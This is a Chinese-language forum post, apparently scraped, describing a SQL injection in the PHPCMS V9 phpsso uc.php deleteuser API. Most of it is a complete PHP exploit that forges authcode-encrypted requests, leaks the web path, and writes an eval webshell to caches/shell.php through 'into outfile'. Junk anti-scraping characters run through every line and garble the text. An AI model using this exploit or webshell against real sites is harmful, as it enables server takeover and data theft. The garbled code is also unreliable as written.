PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
5 G: f9 t0 V2 c9 A/ h; ~) E% w% w( `$ ?: h& d* U
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 W4 q, z, }- o* A6 @2 u) c- V
2 A% r: ]' b9 S0 V0 S
漏洞分析:* ~' u; A* ^8 L9 R
1.未启用ucenter服务的情况下uc_key为空
3 S: a! G, u6 r) S( f( M: e) {- O vdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
( i+ O o0 f A+ h( m+ J2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
( W J. ^1 C9 `' b public function deleteuser($get,$post) {9 `. @8 k; B) a
pc_base::load_app_func('global', 'admin');" j8 A3 n! ^* Y' b* I) ^
pc_base::load_app_class('messagequeue', 'admin' , 0);7 k% W- `2 X3 K8 M% ?- g6 ]
$ids = new_stripslashes($get['ids']);( G) X8 V% y! W4 @
$s = $this->member_db->select("ucuserid in ($ids)", "uid");( a7 B) O4 G' j8 [" n; e
SQL语句为9 W$ r' v5 t( ?1 R- @5 o
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids). H& ]+ b; E+ H, q7 e/ q9 Y2 j
% ^5 l" R0 T) D, s. D" Y
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
* |; t: u$ [* ^3 Z& C. E+ C6 O+ Y<?php
/ O- M" P v% Y: l* s, k! nprint_r('8 O3 r x& g1 J9 c2 B! B' t
---------------------------------------------------------------------------
. X4 Q b) B5 }; W5 i2 rPHPcms (v9 or Old Version) uc api sql injection 0day' Q" q* l3 F- N, M3 p) K: X' L
by rayh4c#80sec.com
$ D. V$ {+ g* W---------------------------------------------------------------------------) \1 e6 q, \ i' U! t* R
');4 ^0 T5 T- k4 D8 l' d4 O. m
" A7 ?% ^3 A4 Qif ($argc<3) {* |4 Y# T# v5 S. S: H
print_r('
. P: ~8 I) D/ h: ` b# G @$ \---------------------------------------------------------------------------
# |8 ?# ?. U. m8 l# XUsage: php '.$argv[0].' host path OPTIONS
: l, t9 w& q) Z* u9 Uhost: target server (ip/hostname)8 q* B: F! o4 z+ E r, S+ K& V
path: path to phpcms
t. O( V1 w- {6 ?& uOptions:& i P" i0 ~1 i0 F- O" ^
-p[port]: specify a port other than 80$ }* i$ g- D2 S9 _
-P[ip:port]: specify a proxy
n3 j) }1 Y4 d) a7 O, J; h+ _Example:+ d6 ^# W- C: s1 i
php '.$argv[0].' localhost /
% A; C* }7 c0 Q- [0 Y s2 ?php '.$argv[0].' localhost /phpcms/ -p81& h" ~# B% j3 a( H X& \( V" g+ Y
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
) k- k4 ~( ^8 j& i---------------------------------------------------------------------------8 ?. F6 M% b4 | v
');1 c# M2 l: U; |# w; Q
die;
* ]! s) \- y0 x}* \0 _: y6 w! R' [
' a: y) M1 N, t4 `: x: cerror_reporting(7);
6 e* k4 {, a) l0 N* H8 tini_set("max_execution_time",0);, \8 N9 a' l2 ]+ i
ini_set("default_socket_timeout",5);
% N! R, P. [9 M8 Y# g
' W J1 K0 I, u! I0 ffunction quick_dump($string)
. ]1 o% p+ a6 R, M{
8 Y( l4 T7 `4 k# `" O+ V+ J* y $result='';$exa='';$cont=0;
6 q& D% a0 x( H4 i3 M ?, L for ($i=0; $i<=strlen($string)-1; $i++)! F v7 z1 B$ E i% p- O+ X
{
& N& E$ p& g( K if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))$ Q$ Q, U. ?- t
{$result.=" .";}2 ^1 u$ D2 X( A7 F7 k
else7 l4 A6 g6 f6 m" t- Y
{$result.=" ".$string[$i];}
. }0 R. S8 E% M/ c& Q$ v* h if (strlen(dechex(ord($string[$i])))==2)) r$ x# O) Z, ]7 e
{$exa.=" ".dechex(ord($string[$i]));}1 R# c0 r, s) Q! U7 N! }
else
9 T! i% L6 b2 o8 [ {$exa.=" 0".dechex(ord($string[$i]));}
8 K# E6 u, S }, m1 }* L $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}* e& B. h- _/ u0 k8 [
}3 \$ |; C% C9 U- f" g" \
return $exa."\r\n".$result;
0 x+ i( p0 Z3 r$ ]/ N/ d! U) ?}- F6 L, c3 P. K Q* D6 G& @
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';6 j8 l% X: |! V! V/ p
7 r- C1 n3 t2 ?7 t! h; N* _8 m* k
function send($packet)1 b& U' X* M3 B/ z$ p3 w
{9 F) Q& j% V( _- ]
global $proxy, $host, $port, $html, $proxy_regex;% c/ d. |' z+ e o
if ($proxy=='') {6 M% ^ O0 {- P& |/ t( H
$ock=fsockopen(gethostbyname($host),$port);
& a! k7 c' Y+ s) Y7 i, ^% } if (!$ock) {
* n; M0 m: s$ f6 B: q* O echo 'No response from '.$host.':'.$port; die;" b3 d" y8 ?* e
}
9 Z s3 }) Y8 W0 ?; t _ }) e" z4 C# q8 h1 P# J
else {& n1 H- ]1 v4 \; x) I8 j& z+ [( L" S
$c = preg_match($proxy_regex,$proxy);
2 l* r2 I4 H7 J9 W8 X: l8 I, ?' N if (!$c) {
# z; L3 g& h0 l; B echo 'Not a valid proxy...';die;7 @% A0 Q ?6 D# R" `+ y
}
2 J+ _; Z4 T, Q $parts=explode(':',$proxy);
. p( B$ b1 D) l* } $parts[1]=(int)$parts[1];
- h+ d/ Z( \/ r& D3 Q/ @3 G" P! r echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ K- `# \2 e( Q* [
$ock=fsockopen($parts[0],$parts[1]);
8 o+ S3 n" }5 P if (!$ock) {
2 E/ B- s9 s1 l" x- a echo 'No response from proxy...';die;. C0 @; q q4 P8 N( B- V
}
( T* L& M0 l3 c, F& ? }% ~$ d: S1 o* A8 L3 }: R/ f
fputs($ock,$packet);9 B4 n8 K: M* N% P8 M8 E$ @/ u
if ($proxy=='') {
7 Y8 s) e5 l& o/ S. j $html='';
1 r% Y) \' m) b8 W6 K7 o while (!feof($ock)) {
, W s; B; U, A9 v) p; k# O1 J $html.=fgets($ock);/ n; ?% u, C8 s/ \1 Q
}
& Q) h/ Z) y3 ` t/ `! J2 U }
# T# H# s; {8 r9 W' _ {4 Q/ N else {
& X0 l0 H; W" ~9 l5 k6 v Y, e# ` $html='';( O: f: S+ _2 k
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
- e8 d, a0 C T: a0 A $html.=fread($ock,1);6 X; P0 W% p$ K
}9 A& r/ g C9 E1 ~3 d4 L
}; j8 p7 @0 Y; b0 o+ R$ w
fclose($ock);
K) [/ y& z; c$ M}
" f# W6 x& d1 o" }+ L
; U8 [1 h* Y+ m. ]* x$host=$argv[1];+ M. ~. o7 V# L2 C' z! J8 f8 s
$path=$argv[2];$ n: O0 |# p- a6 l
$port=80;- Y& N- l: v# s" X2 R
$proxy="";, t& s/ {' y9 k
for ($i=3; $i<$argc; $i++){
* G* m" D. p! {) |$temp=$argv[$i][0].$argv[$i][1];+ F7 m0 C. _, {# f1 v. H, G( _! M
if ($temp=="-p")5 S0 ~# n5 k8 ~3 C2 D5 T( p! u. Z" C9 Q
{
( T. q, p0 L+ D$ [6 B7 q $port=(int)str_replace("-p","",$argv[$i]);2 R/ }; s' Q7 l" {$ L+ E9 \, }+ I
}
* c! S+ \, Z+ X( I3 Kif ($temp=="-P")$ `1 b$ I( c/ e
{) \1 `/ I" S- K: a5 r) I) f6 u9 U* e
$proxy=str_replace("-P","",$argv[$i]);
9 v3 s1 @* ?+ L}
$ E( \3 Y* s1 `& A}) f6 S0 `/ ^9 |7 b; S. }
1 x* X" R: d3 W8 G
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
& ~- M! z; {+ q$ bif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
6 c* L$ g; R" T5 u/ A, s5 p5 Y: g w1 A% o- J: X2 o( |
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
3 x5 x, D8 m) g1 t) e% u. I
( S( M1 q& `+ [* g4 i $ckey_length = 4;2 U1 r4 t, B* r; Y- D; Y
8 Y. _$ [4 I+ G
$key = md5($key ? $key : '');
! V9 P# Z( Y2 u7 D2 d& x2 N $keya = md5(substr($key, 0, 16));
- K g; d8 }; h" r7 M $keyb = md5(substr($key, 16, 16));
+ d; t9 e% j, A6 f* K% z& z8 T $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
6 E3 N( |. U1 |3 O- T
/ C$ [( X' `2 @4 ^2 R9 V $cryptkey = $keya.md5($keya.$keyc);6 j" E" T6 S5 ~4 ^% i9 Z# O3 V
$key_length = strlen($cryptkey);" n. [& s6 n o, W6 K" j) S1 f
! c7 I, _7 a4 Q ` $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
/ v1 G* K0 N% K" ] $string_length = strlen($string);
3 E, C+ Q( {4 |& S" h4 L8 _, Y# A7 I( O% H# B
$result = '';0 {, D% L: E6 p; `+ W
$box = range(0, 255);+ H1 i2 `. O3 o
/ `/ m$ k8 [5 T, V $rndkey = array();
2 i9 M! g" q1 |7 w' Q' N+ q8 ^ for($i = 0; $i <= 255; $i++) {$ _+ \ `. D" b7 ^' ~8 L+ O
$rndkey[$i] = ord($cryptkey[$i % $key_length]);. \' }& m" G0 d7 u, R4 w
}
6 |% k! B6 S9 O0 ]! o/ N8 U
: B' x! \0 w0 A2 W for($j = $i = 0; $i < 256; $i++) {
/ ]* z, S* U, y0 u- C% `/ [& _ $j = ($j + $box[$i] + $rndkey[$i]) % 256;
' c+ X% f, V2 A9 C $tmp = $box[$i];
9 p9 q6 w# u! F! {' z* @ $box[$i] = $box[$j];
5 M/ ^4 ^' x& Z; Y @ $box[$j] = $tmp;
. ]- Q) e" `1 q. T- T }
; T% \: X, C* F( i1 d/ W
/ F/ P; J, y! L& j" L: [& V for($a = $j = $i = 0; $i < $string_length; $i++) {. F3 C. g. y; B
$a = ($a + 1) % 256;
1 m* y3 Y7 S; f' }& f/ l $j = ($j + $box[$a]) % 256;
: t# M5 q' T* S3 f: t1 U! R $tmp = $box[$a];' f1 n ]5 \1 r7 T
$box[$a] = $box[$j];, h( K. \/ B8 B) ^
$box[$j] = $tmp;
) \) @5 U+ Y# \6 |1 ~( H $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" r! X9 \. m/ |) g }4 z' f' T& A" z( b
& Q, Q( y# ]+ j
if($operation == 'DECODE') {* S" L1 m: W9 m+ R" d$ ]3 D
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {1 w+ h$ ]8 y, X! A# w
return substr($result, 26);% J# _2 i, e/ ^; h
} else {
; }! C( M! j6 a7 d$ j return '';
5 G5 i7 j! t. S+ q0 T }
; i, Z1 M6 k/ }- v6 Z% \" @ } else {
; N- |! _7 U: _& @ return $keyc.str_replace('=', '', base64_encode($result));- V: d. R# q" W! E& `3 Y
}3 u; b7 K3 P7 T; }/ v
( x0 S& q) Z0 }; B6 p/ v2 u4 h
}
8 P$ C1 r4 M) X- X$ r6 s' E5 R$ L8 O2 g0 a3 t& S8 k
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
* W( Z7 h* U" O/ [; h% ^4 A0 N$SQL = urlencode(authcode($SQL, "ENCODE", ""));% C2 Z! D* Q) c$ u
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
6 B" _- C6 m2 C( l. }$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 o" W; b4 @6 E9 p ?2 S
$packet.="User-Agent: Mozilla/5.0\r\n";
( k* A' l, Z! o4 W$packet.="Host: ".$host."\r\n";
t( B# W2 u) q$packet.="Connection: Close\r\n\r\n";! ?+ T6 W2 S6 ?! R7 v5 S. @
send($packet);, E" g1 j# G8 e. M
if(strpos($html,"MySQL Errno") > 0){
% n/ u i! A0 n p' z) Qecho "[2] 发现存在SQL注入漏洞"."\n";, m/ n8 ]0 \$ W* S1 }8 Y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";- n; ?) S+ T# M; j
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
3 P' y9 H. D- m$packet.="User-Agent: Mozilla/5.0\r\n";
- w" ~( {6 d+ e, ?+ b( {$packet.="Host: ".$host."\r\n";) b7 r9 B* r: A3 v# R
$packet.="Connection: Close\r\n\r\n";
! b# y7 U$ ?+ Y0 Csend($packet);* a B; X: x# O* K3 d4 P
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);5 O( q5 d3 e6 y- S
//print_r($matches);
2 D; G% v5 g0 Y! C- D$ c# Cif(!empty($matches)){
& M' D. p% ]: y5 F1 H! aecho "[4] 得到web路径 " . $matches[0]."\n";7 W, }1 e9 }7 ]9 P' ^, \
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";& F/ B- @; K' V+ E( P1 H, V. u/ w! ?% u
$SQL = "time=999999999999999999999999&ids=1)";
$ s9 j7 k, a. \ ~+ f$ E& f7 i% @* `$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";4 Y" m. m' c$ O
$SQL.="&action=deleteuser";
5 O m* T( ~/ L/ x/ a3 g$SQL = urlencode(authcode($SQL, "ENCODE", ""));( W4 o7 x& S$ y, S5 j- r2 H1 j$ y
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";9 r/ |4 x. J: j! m: k1 M
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( |3 F4 T8 {1 N6 p' h8 [3 R+ u$ n' r
$packet.="User-Agent: Mozilla/5.0\r\n";
0 v2 ^' A# U0 l: I# ~$packet.="Host: ".$host."\r\n";- F9 j! @2 S" J
$packet.="Connection: Close\r\n\r\n";
8 K2 Z# L) ]7 d4 I7 q: Isend($packet);# O9 ?6 j; `2 I! U% `5 W
if(strpos($html,"Access denied") > 0){
/ P! | N' I. S7 A2 Yecho "[-] MYSQL权限过低 禁止写入文件 ";
) P5 ~+ |' J0 Xdie;' n$ C/ [' N/ s+ n
}, Z# G1 p2 u3 n, M
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";- m/ f2 } g- L
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
) ^4 H) |- r E. d. {! H$packet.="User-Agent: Mozilla/5.0\r\n";
5 k& O: N# |$ M& c% E: Z$packet.="Host: ".$host."\r\n";
/ V" Y5 e: A1 y$ _$packet.="Connection: Close\r\n\r\n";
- Z. j# W" K0 K0 _# o) ^send($packet);2 g& F; L# H- o4 C7 J
if(strpos($html,"<title>phpinfo()</title>") > 0){
0 E' n. x R( k9 Y. i9 B Xecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
4 g, B% j; w- v# U9 K}, m# @( l4 o$ v/ J. V; a0 X
}else{
- z: y( F2 ~! N3 M) kecho "[-]未取到web路径 "; f4 V/ D7 a) R' y# i
}0 ?; ?2 `0 [: O; b
}else{
+ S/ i, q8 w* }2 I# mecho "[*]不存在SQL注入漏洞"."\n";
! ?# L# w9 y. R}
; j" Z% V; C5 `: C% F$ v7 ^1 F$ \1 A( g! _5 `" e) t0 D7 p# L
?>
3 n0 c/ ]' B, E$ K, ^ |